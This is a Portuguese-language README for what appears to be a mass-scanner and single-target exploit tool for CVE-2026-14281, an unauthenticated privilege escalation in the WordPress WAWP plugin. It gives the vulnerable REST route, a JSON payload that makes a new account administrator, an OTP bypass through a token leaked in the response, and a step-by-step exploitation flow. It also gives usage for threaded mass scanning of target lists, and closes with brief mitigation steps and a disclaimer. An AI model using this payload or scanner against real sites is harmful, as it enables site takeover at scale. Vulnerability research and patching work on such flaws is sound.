LANGZ Scanner + Exploit

Scanner em massa + Exploit para alvo único para CVE-2026-14281 — uma escalada de privilégios não autenticada no plugin WordPress Automation Web Platform (WAWP) <= 4.8.6.

---

O que é CVE-2026-14281?

Gerenciamento de Privilégios Inadequado (CWE-269) no plugin WordPress Automation Web Platform (por 101gen). As versões <= 4.8.6 são afetadas.

Campo	Valor
CVE	CVE-2026-14281
Tipo	Escalada de Privilégios Não Autenticada
CVSS	9.8 (CRÍTICO)
Autenticação	Nenhuma necessária
Afetado	Plugin WAWP <= 4.8.6

Causa Raiz

O plugin expõe uma rota REST pública:

POST /wp-json/wawp/v1/signup/<op>

Sem verificação de permissão. O handler copia wawp_custom_fields controlado pelo atacante para update_user_meta() — sem allowlist. O atacante define:

{
  "wawp_custom_fields": {
    "wp_capabilities": {"administrator": true},
    "wp_user_level": "10"
  }
}

Resultado: a nova conta recebe o papel de administrator.

Bônus: Bypass de OTP

O token OTP (otp_transient) é retornado em texto simples no corpo da resposta. Uma requisição GET com esse token o marca como verificado — sem necessidade de e-mail/SMS.

---

Impacto

• Acesso admin total ao WordPress
• Instalar / remover plugins e temas
• Gerenciar usuários, modificar conteúdo
• Potencial RCE através de editores admin

---

Fluxo de Exploração

1. POST do payload para /wp-json/wawp/v1/signup/ com wp_capabilities: administrator
2. Bypass do OTP usando o token em texto simples da resposta
3. Login em /wp-login.php com as novas credenciais
4. Confirmação acessando /wp-admin/users.php

---

Requisitos

• Python 3.7+
• requests, urllib3

---

Instalação

git clone https://github.com/yourname/langz-scanner.git
cd langz-scanner
pip install requests urllib3

---

Uso

python3 CVE-2026-14281.py

[1] Mass Scan        -> detect many targets, save vuln to txt
[2] Verify Single    -> exploit + confirm + auto cleanup
[0] Exit

Mass Scan: arquivo de lista de alvos de entrada, arquivo de saída (padrão vuln.txt), número de threads (padrão 20).

Verify Single: digite YA, insira a URL do alvo. A ferramenta cria um admin temporário, verifica e depois limpa.

---

Saída

vuln.txt contém apenas URLs vulneráveis confirmadas, uma por linha:

http://target1.com
https://target2.org

---

Mitigação

1. Atualize o plugin para além de 4.8.6
2. Se não houver patch: desative o plugin ou bloqueie /wp-json/wawp/v1/signup/
3. Audite contas admin maliciosas
4. Rotacione credenciais se comprometidas

---

Aviso Legal

For AUTHORIZED SECURITY TESTING only.
Do not use against systems you don't own or have permission to test.
The developer assumes no responsibility for misuse.

---